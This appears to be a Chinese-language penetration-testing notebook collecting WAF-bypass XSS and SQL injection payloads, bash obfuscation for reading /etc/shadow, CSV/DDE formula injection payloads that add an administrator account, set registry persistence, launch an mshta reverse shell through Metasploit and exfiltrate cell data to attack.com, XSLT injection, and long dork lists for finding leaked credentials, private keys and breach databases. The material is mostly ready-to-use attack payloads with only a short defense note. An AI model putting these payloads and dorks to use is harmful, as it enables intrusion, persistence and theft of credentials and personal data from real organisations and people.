    <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe
  • 中断换行

    1
    2
    3
    4
    5
    6
    7
    基本要求:

    <iframe src=javascript:confirm(hacker)">

    混淆有效载荷

    <iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(hacker)">
  • 未初始化变量

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    使用未初始化的 bash 变量来规避基于正则表达式的错误过滤器。
    这种值等于 null,作用类似于空字符串。

    一级混淆:正常

    基本要求:
    ● /bin/cat /etc/shadow
    混淆有效载荷
    ● /bin/cat$u /etc/shadow$u

    第二层混淆:基于位置

    基本要求:
    ● /bin/cat /etc/shadow
    混淆有效载荷
    ● $u/bin$u/cat$u $u/etc$u/shadow$u

    第三级混淆:随机字符

    基本要求:
    ● /bin/cat /etc/passwd
    混淆有效载荷
    ● $aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff
  • 制表符和换行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
基本要求:

<IMG SRC="javascript:confirm();">

旁路技术:

<IMG SRC=" javascript:confirm();">

变体:

<IMG SRC=" jav ascri pt:confirm ();">

基本要求:

http://test.com/test?id=1 union select 1,2,3

旁路技术:

http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3

基本要求:

<iframe src=javascript:confirm()></iframe>

混淆有效载荷

<iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:c&Tab;o&Tab;n&Tab;f&Tab;i&Tab;r&Tab;m&Tab;%28&Tab;%29></iframe>

新学的-csv注入

原理:

  1. excel工作原理:excel的一个特性:单元格中的第一个字符是“+、-、@、=”这样的符号时,他会以一个表达式的形式被处理
  2. DDE。动态数据交换(DDE),是Windows下进程间通信协议,支持Microsoft Excel,LibreOffice和Apache OpenOffice。Excel、Word、Rtf、Outlook都可以使用这种机制,根据外部应用的处理结果来更新内容。因此,如果我们制作包含DDE公式的CSV文件,那么在打开该文件时,Excel就会尝试执行外部应用。

比如说你在里面搞一个=1+cmd|'/C calc'!A0,按理说应该会弹计算器,但是win11已经知道这个并给他搞出去了

看了眼人家成功时是2023.3,难怪了

利用方式

  • 添加用户:=cmd|'/C net user test 123456 /add'!A0+<br>=cmd|'/C net user test 123456 /add && net localgroup administrators test /add'!A0
  • 修改注册表:=cmd|'/C reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v calc /t REG_SZ /d "calc.exe" /f'!A0
  • 反弹shell:可以和msf结合起来,msf这边
    1
    2
    3
    use exploit/windows/misc/hta_server
    msf exploit(windows/misc/hta_server) > set srvhost 192.168.174.129
    msf exploit(windows/misc/hta_server) > exploit
    excel添加载荷
    1
    2
    +1+cmd|'/c mshta.exe http://192.168.192.135:8080/770MqXy.hta
    '!A0
  • 信息泄露:=HYPERLINK("https://attack.com?data="&A1,"click me")
  • 网络钓鱼:=HYPERLINK("https://attack.com?data="&A1,"click me")

或者是控制浏览器访问钓鱼网站=1+cmd|'/C "C:\Users\ASUS\AppData\Local\Google\Chrome\Application\chrome.exe" https://attack.com '!A0

绕过方式:

在等于号被过滤时,可以通过运算符+-的方式绕过;

-1+1+cmd |’ /C calc’ !A0

参数处输入以下 Payload,%0A被解析,从而后面的数据跳转到下一行:

%0A-1+1+cmd|' /C calc'!A0

导出文件为 csv 时,若系统在等号=前加了引号’过滤,则可以使用分号绕过,分号;可分离前后两部分内容使其分别执行:

;-3+3+cmd|' /C calc'!D2

其他常用 Payload:

@SUM(cmd|'/c calc'!A0)

=HYPERLINK("https://attact.com")

防御思路

单元格不以特殊字符开头:+,-,@,=

禁止导出CSV,XLS格式文件

黑名单过滤=(-)cmd或=(-)HYPERLINK=(-)concat

还有,在大部分情况下都会弹出Microsoft Office安全提示,只要不点“是”就行了,所以对于平时常规文件的传递中,要尽量为员工做好相关的安全意识培训来做相关的防范。

XSLT注入

SLT (Extensible Stylesheet Language Transformations) 是一种转换语言,主要是将一种XML文档转换为另外一种XML文档,或者其他格式的文档,例如:HTML和文本等。XSLT 使用 XPath 在 XML 文档中查找信息。XPath 被用来通过元素和属性在 XML 文档中进行导航。

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<xsl:text>xsl:vendor = </xsl:text><xsl:value-of select="system-property('xsl:vendor')"/><br/>
<xsl:text>xsl:version = </xsl:text><xsl:value-of select="system-property('xsl:version')"/><br/>
</body>
</html>
1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<xsl:value-of name="bugbounty" select="php:function('phpinfo')"/>
</body>
</html>

【译】XSLT attack

信息收集

1
2
3
4
5
https://osintframework.com/
https://i-intelligence.eu/uploads/public-documents/OSINT_Handbook_2020.pdf
https://start.me/p/DPYPMz/the-ultimate-osint-collection
https://docs.google.com/spreadsheets/d/18rtqh8EG2q1xBo2cLNyhIDuK9jrPGwYr9DI2UncoqJQ
https://cipher387.github.io/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# Multipurpose
https://shodan.io/
https://censys.io/
https://onyphe.io/
https://app.netlas.io/
https://hunter.how/
https://fofa.so/
https://fullhunt.io/
https://www.zoomeye.org/
https://www.criminalip.io/
https://leakix.net/
https://www.yougetsignal.com/
https://intelx.io/
https://pentest-tools.com/
https://gofindwhois.com/
https://gofindwho.com/
# Public info gathering

# Track website changes
https://visualping.io/
https://web.archive.org

# Companies info
https://opencorporates.com/companies

# Domain Recon
https://www.robtex.com/
https://centralops.net
https://viewdns.info/
https://phpinfo.me/domain
http://bgp.he.net/
https://bgpview.io/
https://suip.biz/
https://dnsdumpster.com/
https://www.whoxy.com/
http://ipv4info.com/
https://rapiddns.io/
https://myip.ms/
https://www.reversewhois.io/?
https://www.whoxy.com/reverse-whois/
https://reverse-whois.whoisxmlapi.com/api
https://host.io/dashboard
https://completedns.com/dns-history/
1
http://multirbl.valli.org/
1
https://tools.emailhippo.com/
1
https://immuniweb.com/radar/
1
https://crunchbase.com/
1
2
https://www.postman.com/explore/
https://rapidapi.com/
1
https://serene-agnesi-57a014.netlify.app/
1
https://exif-viewer.com/

google语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
宽域搜索/否定搜索

site:example.com -www -shop -share -ir -mfa

带参数的 PHP 扩展

site:example.com ext:php inurl:?

应用程序接口端点

site:example[.]com inurl:api | site:*/rest | site:*/v1 | site:*/v2 | site:*/v3

多汁的扩展

site:"example[.]com" ext:log | ext:txt | ext:conf | ext:cnf | ext:ini | ext:env | ext:sh | ext:bak | ext:backup | ext:swp | ext:old | ext:~ | ext:git | ext:svn | ext:htpasswd | ext:htaccess | ext:json


高百分比 inurl 关键字

inurl:conf | inurl:env | inurl:cgi | inurl:bin | inurl:etc | inurl:root | inurl:sql | inurl:backup | inurl:admin | inurl:php site:example[.]com


服务器错误

inurl:"error" | intitle:"exception" | intitle:"failure" | intitle:"server at" | inurl:exception | "database error" | "SQL syntax" | "undefined index" | "unhandled exception" | "stack trace" site:example[.]com


易发生 XSS 的参数



inurl:q= | inurl:s= | inurl:search= | inurl:query= | inurl:keyword= | inurl:lang= inurl:& site:example.com



打开重定向容易参数



inurl:url= | inurl:return= | inurl:next= | inurl:redirect= | inurl:redir= | inurl:ret= | inurl:r2= | inurl:page= inurl:& inurl:http site:example.com



SQLi 易错参数



inurl:id= | inurl:pid= | inurl:category= | inurl:cat= | inurl:action= | inurl:sid= | inurl:dir= inurl:& site:example.com



SSRF 易损参数

inurl:http | inurl:url= | inurl:path= | inurl:dest= | inurl:html= | inurl:data= | inurl:domain= | inurl:page= inurl:& site:example.com


LFI 易损参数
`
inurl:include | inurl:dir | inurl:detail= | inurl:file= | inurl:folder= | inurl:inc= |inurl:locate= | inurl:doc= | inurl:conf= inurl:& site:example.com


易发生 RCE 的参数

`
inurl:cmd | inurl:exec= | inurl:query= | inurl:code= | inurl:do= | inurl:run= | inurl:read= | inurl:ping= inurl:& site:example.com


文件上传端点



site:example.com ”choose file”



应用程序接口文档



inurl:apidocs | inurl:api-docs | inurl:swagger | inurl:api-explorer site:"example[.]com"



登录页面



inurl:login | inurl:signin | intitle:login | intitle:signin | inurl:secure site:example[.]com



敏感文件



site:example.com ext:txt | ext:pdf | ext:xml | ext:xls | ext:xlsx | ext:ppt | ext:pptx | ext:doc | ext:docx


intext:“confidential” | intext:“Not for Public Release” | intext:”internal use only” | intext:“do not distribute”



敏感参数



inurl:email= | inurl:phone= | inurl:password= | inurl:secret= inurl:& site:example[.]com



Adobe 体验管理器(AEM)

inurl:/content/usergenerated | inurl:/content/dam | inurl:/jcr:content | inurl:/libs/granite | inurl:/etc/clientlibs | inurl:/content/geometrixx | inurl:/bin/wcm | inurl:/crx/de site:example[.]com


已披露的 XSS 和开放式重定向



site:openbugbounty.org inurl:reports intext:"example.com"



代码泄漏



site:pastebin.com "example.com"



site:jsfiddle.net "example.com"



site:codebeautify.org "example.com"



site:codepen.io "example.com"



云存储



site:s3.amazonaws.com "example.com"



site:blob.core.windows.net "example.com"



site:googleapis.com "example.com"



site:drive.google.com "example.com"



site:dev.azure.com "example[.]com"



site:onedrive.live.com "example[.]com"



site:digitaloceanspaces.com "example[.]com"



site:sharepoint.com "example[.]com"



site:s3-external-1.amazonaws.com "example[.]com"



site:s3.dualstack.us-east-1.amazonaws.com "example[.]com"



site:dropbox.com/s "example[.]com"



site:box.com/s "example[.]com"



site:docs.google.com inurl:"/d/" "example[.]com"

JFrog Artifactory

site:jfrog.io "example[.]com"

Firebase

site:firebaseio.com "example[.]com"

漏洞悬赏计划和漏洞披露计划

"submit vulnerability report" | "powered by bugcrowd" | "powered by hackerone"

site:*/security.txt "bounty"

阿帕奇服务器状态曝光

site:*/server-status apache

WordPress

inurl:/wp-admin/admin-ajax.php

Drupal

intext:"Powered by" & intext:Drupal & inurl:user

Joomla

site:*/joomla/login

shadon语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
1. org:"http://target. com"
2. http.status:"<status_code>"
3. product:"<Product_Name>"
4. port:<Port_Number> “Service_Message”
5. port:<Port_Number> “Service_Name”
6. http.component:"<Component_Name>"
7. http.component_category:"<Component_Category>
8. http.waf:"<firewall_name>"
9. http.html:"<Name>"
10. http.title:"<Title_Name>"
11. ssl.alpn:"<Protocol>"
12. http.favicon.hash:"<Favicon_Hash>"
13. net:"<Net_Range>" (for e.g. 104.16.100.52/32)
14. http://ssl.cert.subject.cn:"<http://Domain .com>"
15. asn:"<ASnumber>"
16. hostname:"<hosthame>"
17. ip:"<IP_Address>"
18. all:"<Keyword>"
19. “Set-Cookie: phpMyAdmin”
20. “Set-Cookie: lang="
21. “Set-Cookie: PHPSESSID"
22. “Set-Cookie: webvpn”
23. “Set-Cookie:webvpnlogin=1"
24. “Set-Cookie:webvpnLang=en”
25. “Set-Cookie: mongo-express="
26. “Set-Cookie: user_id="
27. “Set-Cookie: phpMyAdmin="
28. “Set-Cookie: _gitlab_session”
29. “X-elastic-product: Elasticsearch”
30. “x-drupal-cache”
31. “access-control-allow-origin”
32. “WWW-Authenticate”
33. “X-Magento-Cache-Debug”
34. “kbn-name: kibana”

github语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
api_key
“api keys”
authorization_bearer:
oauth
auth
authentication
client_secret
api_token:
“api token”
client_id
password
user_password
user_pass
passcode
client_secret
secret
password hash
OTP
user auth
#Some of the mine which I use generally

remove password
root
admin
log
trash
token
FTP_PORT
FTP_PASSWORD
DB_DATABASE=
DB_HOST=
DB_PORT=
DB_PASSWORD=
DB_PW=
DB_USER=
number
1
2
3
4
like: language:shell username
language:sql username
language:python ftp
language:bash ftp
1
ste:xxyz.com ext:doc | ext:docx | ext:odt | ext:pdf | ext:rtf | ext:sxw | ext:psw | ext:ppt | ext:pptx | ext:pps | ext:csv | ext:txt | ext:html | ext:php | ext:xls`)
useful
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
dotfiles
filename:sftp-config.json password
filename:.s3cfg
filename:config.php dbpasswd
filename:.bashrc password
filename:.esmtprc password
filename:.netrc password
filename:_netrc password
filename:.env MAIL_HOST=smtp.gmail.com
filename:prod.exs NOT prod.secret.exs
filename:.npmrc _auth
filename:WebServers.xml
filename:sftp-config.json
filename:.esmtprc password
filename:passwd path:etc
filename:prod.secret.exs
filename:sftp-config.json
filename:proftpdpasswd
filename:travis.yml
filename:vim_settings.xml
filename:sftp.json path:.vscode
filename:secrets.yml password
extension:sql mysql dump
extension:sql mysql dump
extension:sql mysql dump password
extension:pem private
extension:ppk private


自动化:
手动方式最适合从 Github 中查找敏感信息。但如果你想自动化这一过程,我建议你使用 GitDorker。在猎取 GitHub 的过程中,我有时也会使用这个工具。虽然它的速度有点慢,因为为了防止速率限制,Gitdocker 每分钟会发送 30 个请求。但它提供的错误结果比其他工具要少得多。

此外,你还可以使用这个工具,它给我带来了惊人的效果

$ git clone https://github.com/obheda12/GitDorker
$ python3 GitDorker.py -tf ~/Tools/.github_tokens -q united.com -p -ri -d Dorks/medium_dorks.txt

呆子名单
".mlab.com password"
"access_key"
"access_token"
"amazonaws"
"api.googlemaps AIza"
"api_key"
"api_secret"
"apidocs"
"apikey"
"apiSecret"
"app_key"
"app_secret"
"appkey"
"appkeysecret"
"application_key"
"appsecret"
"appspot"
"auth"
"auth_token"
"authorizationToken"
"aws_access"
"aws_access_key_id"
"aws_key"
"aws_secret"
"aws_token"
"AWSSecretKey"
"bashrc password"
"bucket_password"
"client_secret"
"cloudfront"
"codecov_token"
"config"
"conn.login"
"connectionstring"
"consumer_key"
"credentials"
"database_password"
"db_password"
"db_username"
"dbpasswd"
"dbpassword"
"dbuser"
"dot-files"
"dotfiles"
"encryption_key"
"fabricApiSecret"
"fb_secret"
"firebase"
"ftp"
"gh_token"
"github_key"
"github_token"
"gitlab"
"gmail_password"
"gmail_username"
"herokuapp"
"internal"
"irc_pass"
"JEKYLL_GITHUB_TOKEN"
"key"
"keyPassword"
"ldap_password"
"ldap_username"
"login"
"mailchimp"
"mailgun"
"master_key"
"mydotfiles"
"mysql"
"node_env"
"npmrc _auth"
"oauth_token"
"pass"
"passwd"
"password"
"passwords"
"pem private"
"preprod"
"private_key"
"prod"
"pwd"
"pwds"
"rds.amazonaws.com password"
"redis_password"
"root_password"
"secret"
"secret.password"
"secret_access_key"
"secret_key"
"db_password"
"db_username"
"dbpasswd"
"dbpassword"
"dbuser"
"dot-files"
"dotfiles"
"encryption_key"
"fabricApiSecret"
"fb_secret"
"firebase"
"ftp"
"gh_token"
"github_key"
"github_token"
"gitlab"
"gmail_password"
"gmail_username"
"herokuapp"
"internal"
"irc_pass"
"JEKYLL_GITHUB_TOKEN"
"key"
"keyPassword"
"ldap_password"
"ldap_username"
"login"
"mailchimp"
"mailgun"
"master_key"
"mydotfiles"
"mysql"
"node_env"
"npmrc _auth"
"oauth_token"
"pass"
"passwd"
"password"
"passwords"
"pem private"
"preprod"
"private_key"
"prod"
"pwd"
"pwds"
"rds.amazonaws.com password"
"redis_password"
"root_password"
"secret"
"secret.password"
"secret_access_key"
"secret_key"
[WFClient] Password= extension:ica
access_key
bucket_password
dbpassword
dbuser
extension:avastlic "support.avast.com"
extension:bat
extension:cfg
extension:env
extension:exs
extension:ini
extension:json api.forecast.io
extension:json googleusercontent client_secret
extension:json mongolab.com
extension:pem
extension:pem private
extension:ppk
extension:ppk private
extension:properties
extension:sh
extension:sls
extension:sql
extension:sql mysql dump
extension:sql mysql dump password
extension:yaml mongolab.com
extension:zsh
filename:.bash_history
filename:.bash_history DOMAIN-NAME
filename:.bash_profile aws
filename:.bashrc mailchimp
filename:.bashrc password
filename:.cshrc
filename:.dockercfg auth
filename:.env DB_USERNAME NOT homestead
filename:.env MAIL_HOST=smtp.gmail.com
filename:.esmtprc password
filename:.ftpconfig
filename:.git-credentials
filename:.history
filename:.htpasswd
filename:.netrc password
filename:.npmrc _auth
filename:.pgpass
filename:.remote-sync.json
filename:.s3cfg
filename:.sh_history
filename:.tugboat NOT _tugboat
filename:_netrc password
filename:apikey
filename:bash
filename:bash_history
filename:bash_profile
filename:bashrc
filename:beanstalkd.yml
filename:CCCam.cfg
filename:composer.json
filename:config
filename:config irc_pass
filename:config.json auths
filename:config.php dbpasswd
filename:configuration.php JConfig password
filename:connections
filename:connections.xml
filename:constants
filename:credentials
filename:credentials aws_access_key_id
filename:cshrc
filename:database
filename:dbeaver-data-sources.xml
filename:deployment-config.json
filename:dhcpd.conf
filename:dockercfg
filename:environment
filename:express.conf
filename:express.conf path:.openshift
filename:filezilla.xml
filename:filezilla.xml Pass
filename:git-credentials
filename:gitconfig
filename:global
filename:history
filename:htpasswd
filename:hub oauth_token
filename:id_dsa
filename:id_rsa
filename:id_rsa or filename:id_dsa
filename:idea14.key
filename:known_hosts
filename:logins.json
filename:makefile
filename:master.key path:config
filename:netrc
filename:npmrc
filename:pass
filename:passwd path:etc
filename:pgpass
filename:prod.exs
filename:prod.exs NOT prod.secret.exs
filename:prod.secret.exs
filename:proftpdpasswd
filename:recentservers.xml
filename:recentservers.xml Pass
filename:robomongo.json
filename:s3cfg
filename:secrets.yml password
filename:server.cfg
filename:server.cfg rcon password
filename:settings
filename:settings.py SECRET_KEY
filename:sftp-config.json
filename:sftp-config.json password
filename:sftp.json path:.vscode
filename:shadow
filename:shadow path:etc
filename:spec
filename:sshd_config
filename:token
filename:tugboat
filename:ventrilo_srv.ini
filename:WebServers.xml
filename:wp-config
filename:wp-config.php
filename:zhrc
HEROKU_API_KEY language:json
HEROKU_API_KEY language:shell
HOMEBREW_GITHUB_API_TOKEN language:shell
jsforce extension:js conn.login
language:yaml -filename:travis
msg nickserv identify filename:config
org:Target "AWS_ACCESS_KEY_ID"
org:Target "list_aws_accounts"
org:Target "aws_access_key"
org:Target "aws_secret_key"
org:Target "bucket_name"
org:Target "S3_ACCESS_KEY_ID"
org:Target "S3_BUCKET"
org:Target "S3_ENDPOINT"
org:Target "S3_SECRET_ACCESS_KEY"
password
path:sites databases password
private -language:java
PT_TOKEN language:bash
redis_password
root_password
secret_access_key
SECRET_KEY_BASE=
shodan_api_key language:python
WORDPRESS_DB_PASSWORD=
xoxp OR xoxb OR xoxa
s3.yml
.exs
beanstalkd.yml
deploy.rake
.sls
— — — — — -BASH — — — — — — — — — —
language:bash password
language:bash pwd
language:bash ftp
language:bash dotfiles
language:bash JDBC
language:bash key-keys
language:bash send_key-keys
language:bash send,key-keys
language:bash token
language:bash user
language:bash login-singin
language:bash passkey-passkeys
language:bash pass
language:bash secret
language:bash credentials
language:bash config
language:bash security_credentials
language:bash connectionstring
language:bash ssh2_auth_password
— — — — — — — — — — — — — — — — — — -PYTHON — — — — — — — — —
language:python password
language:python pwd
language:python ftp
language:python dotfiles
language:python JDBC
language:python key-keys
language:python send_key-keys
language:python send,key-keys
language:python token
language:python user
language:python login-singin
language:python passkey-passkeys
language:python pass
language:python secret
language:python credentials
language:python config
language:python security_credentials
language:python connectionstring
language:python ssh2_auth_password

org:facebookresearch https://
org:facebookresearch http://
org:facebookresearch ldap
org:facebookresearch ftp
org:facebookresearch sftp
org:facebookresearch host:
org:facebookresearch login

asncider-tools

asn/cidr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
使用 ASN 信息快速映射组织网络范围的 Go CLI 和库
# Company string name to CIDR
# https://github.com/dhn/spk
spk -json -s "Google"

# Versatile tool with multiple input options and output formats
# https://github.com/projectdiscovery/asnmap
asnmap -i 1.3.3.7 -org GOOGLE -d facebook.com,twitter.com -a AS394161

# https://github.com/nitefood/asn
asn -n 8.8.8.8

# https://github.com/j3ssie/metabigor
echo "company" | metabigor net --org
echo "ASN1111" | metabigor net --asn

# https://github.com/yassineaboukir/Asnlookup
python asnlookup.py -m -o <Organization>

# https://github.com/harleo/asnip
asnip -t domain.com -p

# https://github.com/projectdiscovery/mapcidr
echo 10.10.10.0/24 | mapcidr

# https://github.com/eslam3kl/3klector
python 3klector.py -t company

# https://github.com/SpiderLabs/HostHunter
python3 hosthunter.py targets.txt

# Website (with API)
https://asnlookup.com/

证书泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# pwndb
# https://github.com/davidtavarez/pwndb
python3 pwndb.py --target [email protected]

# Websites
https://link-base.org/index.php
http://xjypo5vzgmo7jca6b322dnqbsdnp3amd24ybx26x5nxbusccjkm4pwid.onion/
http://pwndb2am4tzkvold.onion
https://weleakinfo.to/
https://www.dehashed.com/search?query=
https://haveibeenpwned.com
https://breachchecker.com
https://vigilante.pw/
https://leak.sx/
https://intelx.io
https://search.illicit.services/
https://breachdirectory.org/

breachdirectory.org + (hashes.com || md5decrypt.net || crackstation.net)# Nice combination

# Check hashes with this tool
https://github.com/jackrendor/jhf

电子邮件工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# https://github.com/SimplySecurity/SimplyEmail
./SimplyEmail.py

pip3 install mailspoof
sudo mailspoof -d domain.com

# Test email spoof
https://emkei.cz/

# Find emails in an org
https://hunter.io
https://snov.io/email-finder
https://app.snov.io/domain-search
https://hunter.io/

# https://github.com/sham00n/buster
buster -e [email protected]

# https://github.com/m4ll0k/Infoga
python infoga.py

# https://github.com/martinvigo/email2phonenumber
python email2phonenumber.py scrape -e [email protected]

# https://github.com/jkakavas/creepy/

# https://github.com/Josue87/EmailFinder
emailfinder -d domain.com

# https://github.com/laramies/theHarvester
python3 theHarvester.py -d domain.com -b "linkedin"

GIT工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# https://github.com/obheda12/GitDorker
python3 GitDorker.py -tf TOKENSFILE -q tesla.com -d dorks/DORKFILE -o target

# https://github.com/dxa4481/truffleHog
trufflehog https://github.com/Plazmaz/leaky-repo
trufflehog --regex --entropy=False https://github.com/Plazmaz/leaky-repo

# https://github.com/eth0izzle/shhgit
shhgit --search-query AWS_ACCESS_KEY_ID=AKIA

# https://github.com/d1vious/git-wild-hunt
python git-wild-hunt.py -s "extension:json filename:creds language:JSON"

# https://shhgit.darkport.co.uk/

# GitLab (API token required)
# https://github.com/codeEmitter/token-hunter
./token-hunter.py -g 123456

社交媒体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# Twitter
# https://github.com/twintproject/twint
twint -u username

# Google account
# https://github.com/mxrch/ghunt
python hunt.py [email protected]

# Instagram
# https://github.com/th3unkn0n/osi.ig
python3 main.py -u username

# Public GDrive docs
https://www.dedigger.com/#gsc.tab=0

# Websites
emailrep.io # Accounts registered by email
tinfoleak.com # Twitter
mostwantedhf.info # Skype
searchmy.bio # Instagram
search.carrot2.org # Results grouped by topic
boardreader.com # forums
searchcode.com # search by code in repositories
swisscows.com # semantic search engine
publicwww.com # search by source page code
psbdmp.ws # search in pastebin
kribrum.io # social-media search engine
whatsmyname.app

元数据

1
2
# https://github.com/Josue87/MetaFinder
metafinder -d "domain.com" -l 10 -go -bi -ba -o united

special-tools

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
决议

http://dnsbin.zhack.ca/ (DNS)
http://pingb.in/ (DNS)
https://www.mockbin.org/ (HTTP)

通配符 DNS

http://xip.io/

10.0.0.1.xip.io
www.10.0.0.1.xip.io
mysite.10.0.0.1.xip.io
foo.bar.10.0.0.1.xip.io


http://nip.io/

10.0.0.1.nip.io
app.10.0.0.1.nip.io
customer1.app.10.0.0.1.nip.io
customer2.app.10.0.0.1.nip.io
otherapp.10.0.0.1.nip.io


others

https://spyse.com/(全面侦察服务)
https://dnsdumpster.com/ (DNS 和子域重组)
反向 IP 查询(Domainmonitor)
安全标头(安全报告、标头丢失)
http://threatcrowd.org/ (WHOIS、DNS、电子邮件和子域重组)
https://mxtoolbox.com/ (多种 DNS 相关重组工具)
https://publicwww.com/ (源代码搜索引擎)
http://ipv4info.com/ (在公司/组织拥有的 IP 块中查找域名)
HackerTarget 工具(DNS 重组、网站查询和扫描工具)
VirusTotal(WHOIS、DNS 和子域侦察)
crt.sh(SSL 证书搜索)
谷歌 CT(SSL 证书透明度搜索)
PenTest 工具(Google )
Wayback Machine(查找过去在该域名上托管的内容)
查找子域(使用域或关键字查找子域)

graphql-api

graph是api中一种查询语言,可以用来查询和操作数据,是一种强类型的语言,可以用来描述数据的结构和操作数据的方式,是一种类似于json的语言,但是比json更加强大,可以用来描述数据的结构和操作数据的方式。
【翻译】GraphQL API 漏洞的常见攻击方法总结